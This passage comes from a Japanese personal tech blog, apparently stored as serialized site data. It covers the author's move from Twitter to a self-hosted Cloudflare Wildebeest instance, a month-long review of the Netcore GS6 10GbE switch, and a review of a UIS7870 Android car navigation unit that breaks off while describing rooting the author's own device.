Instagram\n\n[threads.net](https://www.threads.net/)\n\n10年以上前に当時は革新的な画像投稿の場として使っていたInstagram。画像投稿もままならなかったTwitterを補う形で、[500px](https://ja.wikipedia.org/wiki/500px)などと一緒に画像投稿SNSを楽しんでいた。\nそんなInstagramを買収してFacebookのエゴをふんだんに詰め込んだマーク・ザッカーバーグが大嫌いだ。\nHTCのViveと並んでVR元年を盛り上げてきたOculus。そのOculusを買収してわけわからんメタバース(笑)をぶっ込んで陽キャとWeb3詐欺師の溜まり場にしたマーク・ザッカーバーグが大嫌いだ。\nそんなマーク・ザッカーバーグが手がけるSNSに近寄ろうもんなら全身に蕁麻疹が出るため、身体的に拒絶しThreadsを利用することはないだろう。\n\n### Misskey\n\n[misskey.io](https://misskey.io/)\n\n隙あらば現金をレターパックで送れと言い続ける、馬鹿の一つ覚えのような中学生男子的な与謝野晶子が大量に居るのが特徴。\nその**ノリ**が精神的に無理なのでMisskeyでアカウントを作るようなことはないが、[Fediverse](https://ja.wikipedia.org/wiki/Fediverse)の仕組みを多くの人に広めた功績は誉めに値する。\n\n\n## 結局居場所は見つからず\n\n色々と探し回ってみたが結局はどこも安定性に欠けるか精神的・身体的に無理があるところしかなかった。\n幸いにもTwitter崩壊のおかげで、MisskeyなどのFediverse対応のSNSを利用するオタクが増えてきた。\n実家がなければ自分で作ればいいじゃないの精神で、できるだけ楽にFediverseインスタンスを立てる方向にシフトすることにした。\n\n### Cloudflare Wildebeest\n\nMastodonは周りのオタクが維持管理しているのを見て、面倒そうなので手を出したくない気持ちでいっぱいだ。Ruby on Railsで書かれてるし。\n何か簡単にインスタンスを立てられるものがないか。そんなところにCloudflareのWildebeestの存在を知る。\n\n[Welcome to Wildebeest: the Fediverse on Cloudflare](https://blog.cloudflare.com/welcome-to-wildebeest-the-fediverse-on-cloudflare/)\n\nFediverseに対応したマイクロブログサービスをCloudflareの機能によってサーバーレスで実現するものだ。\nデプロイ手順はボタンを押すだけの簡単仕様で、TypeScriptで書かれているのがとても気に入った。\n\nこのブログを始めとするドメイン管理やDNS設定、[amzn.mzyy94.com](https://amzn.mzyy94.com)のようなページルールなどでCloudflareは普段使いしているため、利用開始のハードルも低い。\n[利用にあたって幾つかCloudflareの機能を有料契約](https://github.com/cloudflare/wildebeest/blob/main/docs/requirements.md)する必要があるが、その分Cloudflareの機能に多くを任せられるので、ほとんどの管理が不要になる。\n\nTwitterアカウントが削除されたタイミングで導入に踏み切り少しデモ運用してみたが、Twitter代替とまではいかなくとも居場所としては要件を満たすものだと感じた。\n簡単すぎるので導入手順はここでは紹介しないが、日本語では以下の記事が参考になる(少し古いので手順がやや違う)。\n\n[CloudflareのMastodon互換ソフトウェア「Wildebeest」を立ててみたメモ - Lambdaカクテル](https://blog.3qe.us/entry/2023/02/10/232348)\n\n月額料金はCloudflare Workersに$5、Cloudflare Imagesに$5の計$10。今の為替レートで1,500円ほどだ。\nTwitter Blueに月1,380円払うくらいなら、Cloudflareの多くの機能が使えるようになるのでこちらの方がお得感満載だ。\n\nということで、WildebeestでFediverseに参入した。\nここをキャンプ地とする。\n\n[**@mzyy94@sns.mzyy94.com**](https://sns.mzyy94.com/@mzyy94)\n\n## まとめ\n\n2009年からTwitterをやってきて14年になる。ポップで可愛い書体でTwitterのロゴが描かれていたあの頃が懐かしい。\n陰謀論者も詐欺師も見当たらない平和な世界で、「〜〜なう」とただつぶやく単純なマイクロブログサービスだった。\n当時はTwitterのID変更回数に上限があったため、@mzyy94にID変更するにあたってアカウントを新たに作っていた。\nその時の変更前のアカウントを発掘し、ただ家に帰ってきて「帰宅なう」と呟いていたのを見て涙している。\n\n<blockquote class=\"twitter-tweet\"><p lang=\"ja\" dir=\"ltr\">帰宅なう</p>&mdash; まだツイッターで消耗してるの??? (@mzyy94_) <a href=\"https://twitter.com/mzyy94_/status/5064024758?ref_src=twsrc%5Etfw\">October 22, 2009</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\n今のTwitterには本当にゴミしか居ない。パクツイは日常風景でスパムは人間の数を上回る。\nこんな生ゴミたちと過ごしていたTwitterから離れられて今は心がスッキリする想いだ。\nありがとうイーロン・マスク。\n"]}],[0,{"slug":[0,"2023/07/26/netcore-gs6-10g-switch/"],"data":[0,{"title":[0,"中華10GbEスイッチNetcore GS6を運用して1ヶ月たったレビュー"],"date":[3,"2023-07-25T16:45:00.000Z"],"image":[0,"/assets/images/2023/07/26/IMG_9790.jpg"],"author":[0,"mzyy94"],"categories":[1,[[0,"Network"]]],"tags":[1,[[0,"10gbe"],[0,"switch"],[0,"netcore"],[0,"hardware"],[0,"review"]]]}],"content":[0,"\n春に新居に越してからベストエフォートで10Gbpsのインターネット回線を引き込み利用している。\nリビングに光コンセントを設置し、ONUに自作ルーターにNASやら母艦やらを集中してリビングに設置していた。\n\n\n\n暖かくなるにつれて冷却の関係でNASと母艦PCを仕事部屋に移動させなければならず、宅内LANを構成する必要に迫られた。\n当初は初夏にはWi-Fi 7機器が発売されていて、6GHz帯の無線でリビングと仕事部屋を繋ぐ構想を描いていた。\nしかしWi-Fi 7機器今夏発売のプレスリリースは見かけるものの国内販売に向けて動く気配がなく、猛暑を迎える前に機器を揃えることは困難だと察した。\nそこで重労働で避けたかったが有線配線をして、宅内LANを構成することにした。\n\n## 目次\n\n## ネットワーク構成図\n\n我が家はユニットバスの天井裏に各部屋からのCD管が集中している。\nリビングと仕事部屋とを繋げるためには、その天井裏を経由する必要がある。\n単純にリビングと仕事部屋だけを繋げるのであれば、2本のケーブルを通してガッチャンコすればいい。\nただ、わざわざ重い腰を上げてLAN配線をするのだからと、他の部屋もまとめて配線することにした。\nネットワーク構成図は以下の通り。\n\n\n\nはじめは全線10GbEをと考えていたが、次章で記す理由によって10GbE + 2.5GbEのスイッチングハブで妥協している。\nどのみち配線時点で予定しているのは2.5GbEの下にWi-Fi 6のAPをぶら下げることくらいで、最大2404Mbpsでの通信しかしないのだから結果として2.5GbEで十分だった。\n\nちなみにNASには贅沢にも25GbEを搭載しているが、今は10GbEとして利用している。\n\n::PostLink{slug=\"hello-25gbe-nic-at-home\"}\n\n\n\n## 全ポート10GbEスイッチは熱すぎる\n\n\n\n前途の通り、ユニットバスの天井裏にそれぞれの部屋と繋がったCD管が集まっている。\n各部屋とのLAN配線を考えると、必然とこの天井裏にスイッチングハブを設置しなければならない。\nここで気になるのはスイッチングハブの発熱だ。\n\n閉鎖され断熱されているため気温や湿度は一定の低さを保つユニットバスの天井裏だが、閉鎖空間ゆえに空気の循環がない。\n手持ちの10GbEハブである[TL-SX105](https://www.amazon.co.jp/TP-Link-%E5%85%A8%E3%83%9D%E3%83%BC%E3%83%8810G%E5%AF%BE%E5%BF%9C-%E3%83%9E%E3%83%AB%E3%83%81%E3%82%AE%E3%82%AC%E3%83%93%E3%83%83%E3%83%88-%E3%82%B9%E3%82%A4%E3%83%83%E3%83%81%E3%83%B3%E3%82%B0%E3%83%8F%E3%83%96-TL-SX105/dp/B08WPWWM8W?th=1&linkCode=ll1&tag=mzyy-22&linkId=9d1277bec892940ce078319df38eddbc&language=ja_JP&ref_=as_li_ss_tl)は触れ続けることが困難なほど筐体が熱を持ち、こんな熱いものを天井裏に設置するのは流石に憚られる。\n他社の全ポート10GbEのスイッチングハブを調べてみても、どの製品も結構な発熱を持つものばかりだった。\n\n<a href=\"https://www.amazon.co.jp/TP-Link-%E5%85%A8%E3%83%9D%E3%83%BC%E3%83%8810G%E5%AF%BE%E5%BF%9C-%E3%83%9E%E3%83%AB%E3%83%81%E3%82%AE%E3%82%AC%E3%83%93%E3%83%83%E3%83%88-%E3%82%B9%E3%82%A4%E3%83%83%E3%83%81%E3%83%B3%E3%82%B0%E3%83%8F%E3%83%96-TL-SX105/dp/B08WPWWM8W?th=1&linkCode=li2&tag=mzyy-22&linkId=85d93ddbef990d5f83513d96a9e7415a&language=ja_JP&ref_=as_li_ss_il\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B08WPWWM8W&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" /></a><img src=\"https://ir-jp.amazon-adsystem.com/e/ir?t=mzyy-22&language=ja_JP&l=li2&o=9&a=B08WPWWM8W\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" />\n[Amazon \\| TP-Link 5ポート 全ポート10G対応 10G マルチギガビット アンマネージ プラグ&プレイ スイッチングハブ TL-SX105 \\| TP-Link \\| スイッチングハブ 通販](https://www.amazon.co.jp/TP-Link-%E5%85%A8%E3%83%9D%E3%83%BC%E3%83%8810G%E5%AF%BE%E5%BF%9C-%E3%83%9E%E3%83%AB%E3%83%81%E3%82%AE%E3%82%AC%E3%83%93%E3%83%83%E3%83%88-%E3%82%B9%E3%82%A4%E3%83%83%E3%83%81%E3%83%B3%E3%82%B0%E3%83%8F%E3%83%96-TL-SX105/dp/B08WPWWM8W?th=1&linkCode=ll1&tag=mzyy-22&linkId=9d1277bec892940ce078319df38eddbc&language=ja_JP&ref_=as_li_ss_tl)\n\n天井裏にスイッチングハブを設置するという制約下では、発熱の関係で全室10GbE配線を諦めざるをえなかった。\nそのため、リビングと仕事部屋とを高速に繋げる目的のため**2つの10GbE**と、無線APや2.5G SBCなどとの中速通信に必要十分な**3つ以上の2.5GbE**を備える**低発熱な**スイッチを探すことにした。\n\n### 低発熱の10GbEスイッチを求めて\n\nスイッチングハブの発熱の根源はチップの消費電力にある。\nなので低消費電力にフォーカスしてスイッチングハブのチップを調べていると、蟹のRTL8372が最大消費電力5.6Wで優れているという情報が見つかった。\n\n<blockquote class=\"twitter-tweet\"><p lang=\"en\" dir=\"ltr\">If anyone is looking for a 2.5GBE switch, you might want to wait for newer RTL8372 or RTL8373 based switch. They are now on the market but still in limited number.<br/><br/>These next-gen switch IC has 2.5GBE PHY built-in to the IC so the cost &amp; power is way lower then those old RTL8371 based switch.</p>&mdash; will whang🌻 (@will_whang) <a href=\"https://twitter.com/will_whang/status/1648151343960563713?ref_src=twsrc%5Etfw\">April 18, 2023</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\nググってみるとチップ自体は10GbE + 2.5GbE対応のもので、CES 2022でRTL8373/RTL8372が展示されたというRealtekのプレスリリースが見つかるが、これを搭載した製品は疎か、チップに関する公式情報すら出てこない。\n最近のGoogleはフィッシングサイトを掲載することに本腰を入れている悪徳企業なので、ググって求める情報が出てこないのは至極当たり前なことだ。\nそう考え、ちょうどWeiboをお試し利用していたので中華圏で話題になっていないかウェイボってみたところ、acwifiという中国語のサイトの記事にたどり着いた。\n\n[磊科GS6拆机,4x 2.5G+2x 10G交换机-路由器交流](https://www.acwifi.net/24353.html)\n\nどうやら中国国内向けにRTL8372を搭載した10GbE x2 + 2.5GbE x4スイッチが販売されているという。\n[磊科(netcore)](https://www.netcoretec.com/)という聞き慣れないメーカーだが、日本でいうBuffaloみたいな感じだろう。\nネットワーク機器を数多く展開していることもあって、このacwifiによるレビューを信じると性能はちゃんとしているようだ。\n\nJD.comでnetcore GS6と検索してみると、磊科の直販ページを発見した。販売価格は289元とあり、なんと日本への配送が可能な自营マークがついていた。\nすぐに売り切れてなかなか買えないという中国語の投稿をいくつか見かけていたので即注文した。\n\n<img src=\"/assets/images/2023/07/26/IMG_9021.jpg\" width=\"40%\" style=\"display: inline-block\" />\n<img src=\"/assets/images/2023/07/26/IMG_9024.jpg\" width=\"40%\" style=\"display: inline-block\" />\n\n6月上旬は何かのキャンペーンがあったようで少し割引が効いて、送料含めた合計金額は435元。クレジットカード決済で1元≒19.997円として計算され、請求額はほぼ8,700円だった。\n旧世代の20W近くの最大消費電力を持つチップを搭載した[Buffaloの同等品](https://www.buffalo.jp/product/detail/lxw-10g2_2g4.html)ですら発売から4年経っても2万円を超えているので、8,700円で最新チップ搭載品が手に入るのはものすごくお手頃である。\n\n<iframe sandbox=\"allow-popups allow-scripts allow-modals allow-forms allow-same-origin\" style=\"width:120px;height:240px;\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\" frameborder=\"0\" src=\"//rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank&bc1=000000&IS2=1&bg1=FFFFFF&fc1=000000&lc1=0000FF&t=mzyy-22&language=ja_JP&o=9&p=8&l=as4&m=amazon&f=ifr&ref=as_ss_li_til&asins=B081DYYZQ7&linkId=4afa9664f443df65881e1d95e04e519e\"></iframe>\n\nこうして低発熱と低価格の10GbE x2 + 2.5GbE x4の中華ハブを基幹に据えることになった。\n\n## netcore GS6\n\nFedexによる配送で注文から一週間とちょっとで届いた。AliExpressやAmazon.co.jpなどと違って梱包は丁寧で、改めてJD.comの質の高さを感じた。\n\n\n\n付属の電源ケーブルは日本のコンセントには刺さらない形状だが、電圧はAC100V-240Vなので一般的な3ピンのものに交換して差し込むだけで使える。\n起動してしまえば至って普通のスイッチングハブである。\n\n\n\n性能の検証などはacwifiの記事にあるので割愛するが、レビューとは一つ異なる点があった。\nacwifiのレビューではSFP+の10GBase-Tモジュールが全く使えないとあったが、手持ちのipolexと10Gtekの2製品で試したところ正常に認識し、安定してiperf3の実測で9.4Gbps台で通信できていた。10GBase-SRはもちろんのこと、SFP28のDACでも問題なく通信でき、手持ちの全てのSFP+モジュールで安定動作していた。\n\n<a href=\"https://www.amazon.co.jp/gp/product/B0797GL6P7?ie=UTF8&th=1&linkCode=li2&tag=mzyy-22&linkId=8188cb6dc4c2a517bbe6519d5a5053ae&language=ja_JP&ref_=as_li_ss_il\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B0797GL6P7&Format=_SL250_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" /></a><img src=\"https://ir-jp.amazon-adsystem.com/e/ir?t=mzyy-22&language=ja_JP&l=li2&o=9&a=B0797GL6P7\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" />\n[Amazon.co.jp: 10GBASE-T SFP+モジュール RJ45コネクタ Cisco SFP-10G-T-S、Netgear、Ubiquiti、D-Link、Supermicro、TP-Link、Broadcom、Linksys、F5など対応互換 30m : パソコン・周辺機器](https://www.amazon.co.jp/gp/product/B0797GL6P7?ie=UTF8&linkCode=ll1&tag=mzyy-22&linkId=3e6783b07ef0503a4b49a772909a7727&language=ja_JP&ref_=as_li_ss_tl&th=1)\n\n<a href=\"https://www.amazon.co.jp/gp/product/B09HZJB214?ie=UTF8&th=1&linkCode=li2&tag=mzyy-22&linkId=162a0f115018e3348eb1ea753f049544&language=ja_JP&ref_=as_li_ss_il\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B09HZJB214&Format=_SL250_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" /></a><img src=\"https://ir-jp.amazon-adsystem.com/e/ir?t=mzyy-22&language=ja_JP&l=li2&o=9&a=B09HZJB214\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" />\n[Amazon.co.jp: 10Gtek 10GBase-T SFP+モジュール, 10G-T, 10Gカッパー, RJ-45 SFP+ CAT.6a, 最大30メートル, Mellanox互換 : 産業・研究開発用品](https://www.amazon.co.jp/gp/product/B09HZJB214?ie=UTF8&th=1&linkCode=sl1&tag=mzyy-22&linkId=fb32fa2c78fb34fc6df271d0ac950aac&language=ja_JP&ref_=as_li_ss_tl)\n\n10GBase-Tモジュールは発熱がすごいので低発熱を目指す今回は利用しないが、10GbEをLANケーブル(ツイストペアケーブル)で配線したい需要をも満たせる製品だ。\n\n\n\n\n## 配線作業\n\n\n\n動作チェックが終わったら敷設されているCD管にケーブルを通して、各部屋にケーブルを配線していく。\n10GbEはLC-LC光ファイバーケーブルで、2.5GbEはCat 6aのLANケーブルを通していく。\nLCケーブルの情報コンセント設置に関しては、次のブログ記事を参考にして部材を集めた。\n\n[自宅のネットワークを25GbEにする - blog.k5a.dev](https://blog.k5a.dev/entry/2023/05/14/190210)\n\nその他家庭内LAN配線は数多のブログで紹介され尽くしているので、今更ここに書く新規性のあるものはほとんどないが、一つだけアドバイスを記しておく。\n\n### 潤滑剤は買っておけ\n\n\n曲がりくねったCD管延べ15mへのLANケーブル通線は、静止摩擦係数が長大なケーブルの設置面に掛かって全然通らない。\n細く柔らかいLCケーブルがスムーズに通線できていたのに、太くコシのあるCat 6aケーブルは途中でびくともしなくなる。\n居室側からLANケーブルを5cm押し込んではバスルームから5cm引っ張るのを繰り返してなんとか通線したが、双方を行き来するため階段を幾度となく登り降りした。\nApple Watchの計測では階段をビル136階分も登って降りたと記録されていた。\nミーティも驚きの上昇負荷である。\n土日を丸っと潰すこととなってしまったため、一人で作業するならスムーズに通線するためにも入線用のシリコンスプレーを使うことをおすすめする。\n\n<img src=\"/assets/images/2023/07/26/IMG_9765.jpg\" width=\"40%\" style=\"display: inline-block\" />\n\n\n## 1ヶ月間利用してみて\n\n人柱覚悟で購入してみたものの、何の問題もなく1ヶ月間稼働し続けている。\nファンレスなのにiperf3しまくっても発熱は人肌くらいで、期待通りの仕事をしてくれている。さすが最新チップのRTL8732。\nあっけないくらいにトラブルがないので、逆に面白みがなさすぎてブログのネタにすることすら迷ったくらいだ。\n長期間利用して不調を表したとしても、この価格(定価299元≒約6,000円)なら交換対応として1台ストックしておくのも現実的だろう。\n\n## まとめ\n\n通線作業が苦行だったが、低発熱な中華スイッチによって当初の目的を達成することができた。何もかもが未知数な中華スイッチを導入するという新たな体験もでき、好奇心をも満たす結果となった。\nまだまだJD.comやTmallには中華なネットワーク機器がたくさん転がっている。この記事を読んで興味を持った人はぜひ未知の機器を購入し、人柱になってみてほしい。\n"]}],[0,{"slug":[0,"2024/11/12/uis7870-android-car-navigation/"],"data":[0,{"title":[0,"UIS7870搭載の中華ナビを買った"],"date":[3,"2024-11-11T21:00:00.000Z"],"image":[0,"/assets/images/2024/11/12/top.jpg"],"author":[0,"mzyy94"],"categories":[1,[[0,"Automobile"]]],"tags":[1,[[0,"car-audio"],[0,"中華ナビ"],[0,"navigation"],[0,"android"],[0,"carplay"],[0,"review"]]]}],"content":[0,"\n今年もAliExpressの11.11セールが開始しました。このセールに向けていい商品がないか物色していたある日のこと。\nおすすめ商品にふと見慣れない型番のチップを乗せた中華Androidカーナビが流れてきました\n\n\n<a href=\"https://s.click.aliexpress.com/e/_DBHfvm9\" target=\"_blank\"><img src=\"https://ae01.alicdn.com/kf/Sfb06a3df099349f3be52785ebda922f4b.jpg_500x500.jpg\" /></a>\n\n[M7Plusユニバーサルマルチメディアカープレーヤー、qledラジオステレオ、3d ui、2k、GPS、benz、hyburs、kia、honda、toyota、Seat、bmw、vw、2 dinユニット - AliExpress 34](https://s.click.aliexpress.com/e/_DFBkXLX)\n\n「UIS7870」搭載とあります。どうやら以前購入したUIS7862の後継にあたる製品が出ていたようです。\n\n::PostLink{slug=\"new-android-car-navigation\"}\n\nしばらく中華ナビは新機種が出ておらず(ソフトウェアの独自カスタム品を除く)、停滞している状況だったので関心を失っていたところに現れた新製品。\n独身の日のセールで購入しようと考えていたものの、待てずにポチったのが届いたので3年ぶりに中華ナビの記事をお届けします。\n\n## 目次\n\n\n## 新モデルスペック\n\n\n\n[カーマルチメディアプレーヤー,カーラジオ,Android 13, 5g,wifi,CarPlay,GPS,dsp,mp5,Bluetooth,uis7870,8コア,12 256g - AliExpress 34](https://s.click.aliexpress.com/e/_DeSEyFj)\n\n特に買い替える理由がなかったため、UIS7870の中で最安価格帯のものを探しました。\n購入した製品の仕様を箇条書きにすると次の通りになっています。\n\n- 価格 (執筆時): 37,457円\n- 画面サイズ: 10インチ\n- ユニットサイズ: 2 Din(※後述)\n- 画面解像度: 2000x1200\n- 画面タイプ: 埋め込み式\n- SoC: UIS7870 (Unisoc T820?)\n- RAM: 6 GB\n- Flash: 128 GB\n- OS: Android 13.0\n- Apple CarPlay: ビルトイン\n- マルチメディア機能: Wi-Fi(2.4/5GHz)/Bluetooth/USB/4G\n- 対応操作方法: タッチパネル・ステアリングリモコン\n\nせっかくなので、画面サイズを9インチから10インチへ、10インチには高解像度のオプションがあったので2000x1200のモデルを注文しました。\n\nコア部分に絞って比較表を作ると以下のようになります。\n\n 機能 | 旧モデル | **新モデル**\n:---:|---|---\nSoC | [Unisoc UIS7862] | **[Unisoc UIS7870]**\nCPU Arch | ARMv8.2-A | ARMv8.2-A\nμArch | ARM Cortex-A75/A55 | **ARM Cortex-A76/A55**\nProcess technology | TSMC 12nm FFC | **TSMC 6nm EUV**\nCPU Core# | 8 (2+6) | **8 (1+3+4)**\nCPU Freq | 1.8 GHz | **2.7 GHz**\nGPU | Mali G52 | **Mali G57**\nRAM | 4GB | 6GB\nFlash | 64GB | 128GB\n\n[Unisoc UIS7862]: https://www.unisoc.com/en_us/home/TQCDZ-A7862-1\n[Unisoc UIS7870]: https://www.unisoc.com/en_us/home/TQCDZ-A7870-0\n\n中華ナビに使われるSoCは2010年代を賑やかせたローエンドのものが広く使われ続けていたところに、新モデルに搭載されているのは現代のミドルハイに当たるものになっています。\nSoCの性能を支えるためにメモリ容量も最低6GBからとなり、最安モデルでも十分なパフォーマンスが期待できます。\n\n## 新SoC UIS7870\n\n\n\nUIS7870の型番で調べるとUnisoc公式のA7870製品紹介ページが見つかりました。\n\n[Unisoc A7870](https://www.unisoc.com/en_us/home/TQCDZ-A7870-0)\n\nA7870は自動車関連産業向けのシリーズとして、フラグシップのSoCとあります。\n型番は前モデルの7862から8つの数字が増えていて、その分のスペックの向上は大きく目を見張るものがあります。\n\n最大の変化はプロセスルールの微細化に伴う高パフォーマンス化と高効率化。\nA76に進化したbig側の最大周波数は大きく伸び、処理能力が大幅に向上しています。\n\nCPU-ZではUIS7870ではなくUIS7885と表示されていますが、自動車向けであるA7870を無線機機向けに展開しているものがP7885であり、どちらもCPU部分は共通のものが使われています。\n\n[Unisoc P7885](https://www.unisoc.com/en_us/home/con545-P7885-5)\n\nそれに加えて、スマホやタブレット向けに調整したものがUnisoc T820として展開されています。\n\n[Unisoc T820](https://www.unisoc.com/en_us/home/T5GSJ-T820-0)\n\nT820はCPUは同じ構成で、5G対応に加えてGPUにMali G57をパッケージしたもの。\nUIS7870はMali G57を搭載していることから、A7870やP7885ではなくT820と同等品と考えられます。\nT820搭載タブレットはミドルハイの性能で軽々と3Dゲームを動かせる実力があるようなので、このUIS7870もカーナビとしての処理には余りある性能を有していると言えるでしょう。\n\n### UIS7870搭載中華ナビ\n\n<a href=\"https://s.click.aliexpress.com/e/_DC2qqZX\" target=\"_blank\"><img src=\"https://ae01.alicdn.com/kf/Sd12ec7708e474aa0ab25c50dc1544830H.jpg_500x500.jpg\" /></a>\n\n[カーマルチメディアプレーヤー,カーラジオ,Android 13, 5g,wifi,CarPlay,GPS,dsp,mp5,Bluetooth,uis7870,8コア,12 256g - AliExpress 34](https://s.click.aliexpress.com/e/_DeSEyFj)\n\n中華ナビは未だにUIS7862を中心とした製品が多く展開されてる中、UIS7870の製品が紛れ込む形で売られています。\nUIS7870を搭載した中華ナビの製品ページへ行くと、下位モデルとしてUIS7862のものが選択できるようになっているものが多々あります。\nより安く旧モデルを放出しようとする売り方から見て、ちょうど転換期を迎えているところなのでしょう。\n\n以前調べた中華ナビの歴史と合わせてまとめると、Androidカーナビに多く採用された主流SoCの時系列は次のようになっているようです(時期不明のQualcomm 6125/Mediatek MT8667/Unisoc UIS8581を除く)。\n\n- 2017年 Rockchip PX5\n- 2018年 Rockchip PX6\n- 2019年 Unisoc SC9853i\n- 2020年 Unisoc UIS7862\n- 2023年 Unisoc UIS7870\n\nAliExpressや海外フォーラムなどで調べてみたところ、UIS7870製品が登場し始めたのは2023年末ごろから。いくつかのメーカーが展開しているものの、DUDU7やM7を展開するMekedeがトップセールスを独走しているようです。\n\n<a href=\"https://s.click.aliexpress.com/e/_Dkpy97f\" target=\"_blank\"><img src=\"https://ae01.alicdn.com/kf/S96fa6badca844dedb733f0ccecb97897y.jpg_500x500.jpg\" /></a>\n\n[Dududuauto-ユニバーサルカーマルチメディアナビゲーションシステム,Android 13,8コア,2k,bt5.0,11.5インチ,13インチ - AliExpress](https://s.click.aliexpress.com/e/_DCsWYSp)\n\n## 本体の外観\n\nシステム全体の低電力化や基板の薄型化が伴って、DINレールの奥行きに向かって厚みが広がる[旧来の見た目](../2020/2020-09-07-joying-car-navigation-prius-zvw30.md#開封と外観の確認)ではなくなり、昨今の中華ナビは画面一体型の薄型タイプに移行しています。\nレールに固定しないため1DINや2DINという表現は適切ではないものの、背面の飛び出し部分は2DINの領域に及ぶサイズです。\n\nこの背面ポートにはコネクタがいくつかあり、電源やスピーカーなどのハーネスケーブルを差し込んでそれぞれの配線を取り出す形になっています。\n本体中央にはUSB Type-Cポートがあり、USB 3.2 Gen1で高速・高電力な機器の接続ができるようになっています。\n\n\n\n正面はフレーム目一杯に広がる2000x1200のIPSパネルとマイク穴があるのみ。正面から見ただけでは中華Androidタブレットと言われても疑う余地がないほどです。\n\n\n\n\n## 動作の確認\n\n[これまで中華ナビを扱ってきた](../2020/2020-09-07-joying-car-navigation-prius-zvw30.md#技適の壁)のと同様に4GとWi-Fiの無線出力部分にはダミーロードを取り付け、違法な電波を出力しないようにした上で起動して動作を見ていきます。\n\n### ホーム画面\n\n\n\n中華ナビの標準ランチャーにしてはリッチな見た目となり、右上に任意のアプリを起動できるエリアが設けられています(初期設定ではGoogle Mapが起動)。\n\n\n\n\nホーム画面をスワイプして左側に移動すると、GPSを元にした車速や進行方向を表示するUIが出てきました。\n\n\n\n搭載アプリはPlayストアをはじめとするG系アプリと車関連の設定アプリに加え、Toppalなる謎サービスが勝手に起動するようになっています。Apple CarPlay/Android Autoを接続・表示するアプリは中華ナビお馴染みのCar Linkが搭載されていました。\n\n### 設定画面\n\n\n\n雰囲気は変わったものの、これまでの中華ナビと構成は変わらず。Factory項目にはロックがかかっているものの、これまで通り3368で突破できました。\n\n#### デバイス情報\n\n\n\n設定画面でAndroid 13搭載と書かれているのはフェイクであることが多い中華ナビの世界。なので鵜呑みにできないですが、後述する通りちゃんとAndroid 13が搭載されていました。\n\n### Apple CarPlay\n\nUIS7862と比べてCPUとGPUの処理能力が向上したことによって、応答性とタップ遅延が大幅に改善していました。\n性能向上と2000x1200高解像度パネル(比率5:3)とが掛け合わさり、CarPlayの画面が1800x1080(5:3)の高解像度で描画されるため、Apple Mapを高域にしても細かい道路が表示されるのはかなり嬉しいポイント。\n\n\n\n### DRM\n\n今回もPlayストアが入っているため、たいていのアプリはそのままインストールできます。\n高解像度を活かしてNetflixなどでフルHDのコンテンツを見たいところですが、それには対応するDRMのモジュールが必須です。\n\n[DRM Info](https://play.google.com/store/apps/details?id=com.androidfung.drminfo&hl=ja)アプリを使って調べてみたところ、ClearKeyとL3 Widevineが搭載されていることが確認できました。\n\n\n\nNetflixやプライムビデオではL1 Widevineが搭載されていない端末ではHD画質のコンテンツを視聴できないため、インストールはできても480pの低画質動画しか見られません。残念。\n\nちなみに、DRM Infoの画面左にSDK Level 33とあることから、フェイクではないAndroid 13が搭載されていることも見てとれます。\n\n### ベンチマーク\n\n[Geekbench 6 - Google Play のアプリ](https://play.google.com/store/apps/details?id=com.primatelabs.geekbench6&hl=ja)\n\nみんな大好きベンチマーク。今回はGeekbench 6でベンチマークを取ってみました。バージョンが違うので比較はできませんが、旧モデルの結果を小さく後に載せています。\n\n\n<img alt=\"geekbench.png\" width=\"640\" style=\"width: 75%\" src=\"/assets/images/2021/02/04/geekbench.png\" />\n\n<details>\n<summary>結果を全部見る</summary>\n<img alt=\"geekbench-cpu-full.png\" src=\"/assets/images/2024/11/12/geekbench-cpu-full.png\" />\n<img alt=\"geekbench-gpu-full.png\" src=\"/assets/images/2024/11/12/geekbench-gpu-full.png\" />\n</details>\n\n\nAntutuベンチーマークも走らせてみようと試みたものの、開始ボタンを押した後に出るダイアログが押せない位置に表示されてしまってスタートできずでした。\n\n\n\n## 他社製ファームウェア\n\nハードウェアがほぼ共通で差別化の難しい中華ナビが生き抜くため、ソフトウェアに力を入れるブランドがいくつかあります。例えばDUDU7は独自にファームウェアをカスタマイズしたDUDU OSを搭載しており、豊富な機能と美しいUIで頭一つ抜けた存在になっています。\n\n\n\nUIS7870向けに作られているのでDUDU7以外のUIS7870中華ナビでも動作するだろうと高を括り、[公開されているファームウェア](https://forum.dudu-auto.com/t/dudu-os)を焼いてみました。無事に起動して初期セットアップも完了したものの、製造元不一致の警告が出たり動作が制限されていたりと、第三者利用への対策が取られている様子でした。\n\n\n\nCarPlayをメインに使うので見た目や機能にこだわりはないですが、Androidカーナビとして使いたい人はソフトウェアに関しても注目して中華ナビを選ぶ必要があります。\n\n## Root化\n\n他社製ファームウェアを完璧に動作する形で動かしたい場合、root権限で細工をする必要が出てきます。\nその足掛かりとなるファームウェアアップデートですが、これまでのモデルと同様に特権でアップデートプロセスが走ることが確認できました。\n\n::PostLink{slug=\"rooting-joying-sp9853i-carnavi\"}\n\nしかし、Android 13からはbootパーティションの扱いが変更されているため、 **/dev/block/by-name/init_boot_a** からinit_boot.imgを抽出することになります。\n\n[汎用ブート パーティション \\| Android Open Source Project](https://source.android.com/docs/core/architecture/partitions/generic-boot?hl=ja)\n\nMagiskの扱い方にも変更があり、始めてのAndroid 